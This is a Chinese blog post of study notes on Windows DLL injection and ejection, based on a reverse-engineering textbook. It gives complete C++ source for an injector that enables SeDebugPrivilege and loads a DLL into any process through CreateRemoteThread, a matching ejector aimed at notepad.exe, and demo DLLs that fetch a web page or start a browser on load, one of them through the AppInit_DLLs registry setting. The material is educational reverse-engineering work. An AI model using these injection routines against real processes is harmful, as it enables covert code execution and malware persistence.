• dll注入及卸载实践


    三种方法:具体详见《逆向工程核心原理》。

    1、创建远程线程CreateRemoteThread()

    2、使用注册表AppInit_DLLs

    3、消息钩取SetWindowsHookEx()

    一、远程线程(注意将szPATH数组建在函数中会出现栈溢出,需要建立全局变量)

    #include "windows.h"
    #include "tchar.h"
    
    #pragma comment(lib, "urlmon.lib")
    
    HMODULE g_hMod = NULL;
    TCHAR szPath[MAX_PATH] = { 0, };
    DWORD WINAPI ThreadProc(LPVOID lParam) {
    
        if (!GetModuleFileName(g_hMod, szPath, MAX_PATH))
            return FALSE;
    
        TCHAR *p = _tcsrchr(szPath, '\');
        if (!p)
            return FALSE;
    
        _tcscpy_s(p + 1, MAX_PATH, L"index.html");
    
        URLDownloadToFile(NULL, L"http://www.xidian.edu.cn", szPath, 0, NULL);
    
        return 0;
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
        HANDLE hThread = NULL;
    
        g_hMod = (HMODULE)hinstDLL;
    
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
            hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
            CloseHandle(hThread);
            break;
        }
    
        return TRUE;
    }
    myhack.cpp
    #include "windows.h"
    #include "tchar.h"
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken)) {
            _tprintf(L"OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (!LookupPrivilegeValue(NULL,           // lookup privilege on local system
            lpszPrivilege,  // privilege to lookup 
            &luid))        // receives LUID of privilege
        {
            _tprintf(L"LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.
        if (!AdjustTokenPrivileges(hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            _tprintf(L"AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            _tprintf(L"The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        HANDLE hProcess = NULL, hThread = NULL;
        HMODULE hMod = NULL;
        LPVOID pRemoteBuf = NULL;
        DWORD dwBufSize = (DWORD)(lstrlen(szDllPath) + 1) * sizeof(TCHAR);
        LPTHREAD_START_ROUTINE pThreadProc;
    
        // 获得dwPID进程ID对应的目标进程句柄
        if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
            return FALSE;
    
        // 在目标进程地址空间中为DLL路径名szDllPath开辟一块存储空间,将szDllPath路径字符串写入该空间
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
        WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
    
        // 获取当前进程地址空间中LoadLibraryW()函数的地址,该函数由kernel32.dll导入
        hMod = GetModuleHandle(L"kernel32.dll");
        pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
    
        // 在目标进程中运行线程,该线程执行LoadLibraryW()函数并传入被注入DLL路径作为参数
        hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        CloseHandle(hThread);
        CloseHandle(hProcess);
    
        return TRUE;
    }
    
    int _tmain(int argc, TCHAR *argv[])
    {
        if (argc != 3) {
            _tprintf(L"USAGE : %s <pid> <dll_path>
    ", argv[0]);
            return 1;
        }
        if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
            return 1;
    
        // inject dll
        if (InjectDll((DWORD)_tstol(argv[1]), argv[2]))
            _tprintf(L"InjectDll("%s") success.
    ", argv[2]);
        else
            _tprintf(L"InjectDll("%s") failed.
    ", argv[2]);
    
        return 0;
    }
    inject.cpp

    卸载:

    // EjectDll.exe
    
    #include "windows.h"
    #include "tlhelp32.h"
    #include "tchar.h"
    
    //由进程名找到进程id号
    DWORD FindProcessID(LPCTSTR szProcessName) {
        DWORD dwPID = 0xFFFFFFFF;
        HANDLE hSnapShot = INVALID_HANDLE_VALUE;
        PROCESSENTRY32 pe;
    
        // 获得系统进程的快照
        pe.dwSize = sizeof(PROCESSENTRY32);
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    
        Process32First(hSnapShot, &pe);
        do {
            if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile)) {
                dwPID = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapShot, &pe));
    
        CloseHandle(hSnapShot);
        return dwPID;
    }
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
            return FALSE;
    
        if (!LookupPrivilegeValue(NULL,           // lookup privilege on local system
            lpszPrivilege,  // privilege to lookup 
            &luid))        // receives LUID of privilege
            return FALSE;
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.
        if (!AdjustTokenPrivileges(hToken, FALSE, &tp,
            sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
            return FALSE;
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
            return FALSE;
    
        return TRUE;
    }
    
    BOOL EjectDll(DWORD dwPID, LPCTSTR szDllName) {
        BOOL bMore = FALSE, bFound = FALSE;
        HANDLE hSnapshot, hProcess, hThread;
        HMODULE hModule = NULL;
        MODULEENTRY32 me = { sizeof(me) };
        LPTHREAD_START_ROUTINE pThreadProc;
    
        // dwPID = notepad进程的id号
        // 使用TH32CS_SNAPMODULE参数,获得加载到notepad进程地址空间的DLL信息
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
    
        bMore = Module32First(hSnapshot, &me);
        for (; bMore; bMore = Module32Next(hSnapshot, &me)) {
            if (!_tcsicmp((LPCTSTR)me.szModule, szDllName) ||
                !_tcsicmp((LPCTSTR)me.szExePath, szDllName)) {
                bFound = TRUE;
                break;
            }
        }
    
        if (!bFound) {
            CloseHandle(hSnapshot);
            return FALSE;
        }
    
        if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
            return FALSE;
    
        hModule = GetModuleHandle(L"kernel32.dll");
        pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            pThreadProc, me.modBaseAddr,
            0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        CloseHandle(hThread);
        CloseHandle(hProcess);
        CloseHandle(hSnapshot);
    
        return TRUE;
    }
    
    int _tmain(int argc, TCHAR* argv[]) {
        DWORD dwPID = 0xFFFFFFFF;
    
        dwPID = FindProcessID(L"notepad.exe");
        if (dwPID == 0xFFFFFFFF) //没有找到notepad进程
            return 1;
    
        // 更改特权
        if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
            return 1;
    
        // 卸载DLL
        if (EjectDll(dwPID, L"myhack.dll"))
            _tprintf(L"EjectDll(%d, "%s") success!!!
    ", dwPID, L"myhack.dll");
        else
            _tprintf(L"EjectDll(%d, "%s") failed!!!
    ", dwPID, L"myhack.dll");
    
        return 0;
    }
    eject.cpp

    二、使用注册表(调用进程执行程序)

    修改AppInit_DLLs和LoadAppInit_DLLs,路径名使用单右斜杠

    #include "windows.h"
    #include "tchar.h"
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
        TCHAR szCmd[MAX_PATH] = { 0, };
        TCHAR szPath[MAX_PATH] = { 0, };
        TCHAR *p = NULL;
        STARTUPINFO si = { 0, };
        PROCESS_INFORMATION pi = { 0, };
    
        si.cb = sizeof(STARTUPINFO);
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;
    
        switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            //获得当前DLL被装载到的进程的可执行文件的路径到szPath中
            if (!GetModuleFileName(NULL, szPath, MAX_PATH))
                break;
            if (!(p = _tcsrchr(szPath, '\')))
                break;
            if (lstrcmpi(p + 1, _T("notepad.exe")))
                break;
            //当前DLL被加载到的进程的可执行文件为notepad.exe,调用IE访问www.xidian.edu.cn
            wsprintf(szCmd, _T("%s %s"), _T("C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe"), _T("http://www.xidian.edu.cn"));
            if (!CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,
                NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
                break;
            if (pi.hProcess != NULL)
                CloseHandle(pi.hProcess);
            break;
        }
        return TRUE;
    }
    myhack2.cpp

    三、消息钩取

    详见12.24逆向工程上机作业

  • 相关阅读:
    jQuery火箭图标返回顶部代码
    类库引用EF
    Html.DropDownList
    MVC validation
    MVC @functions
    MVC 扩展方法特点
    Class 实现IDisposing方法
    MVC两个必懂核心
    Asp.net 服务器Application,Session,Cookie,ViewState和Cache区别
    sqlserver log
  • 原文地址:https://www.cnblogs.com/elpsycongroo/p/8318618.html
Copyright © 2020-2023  润新知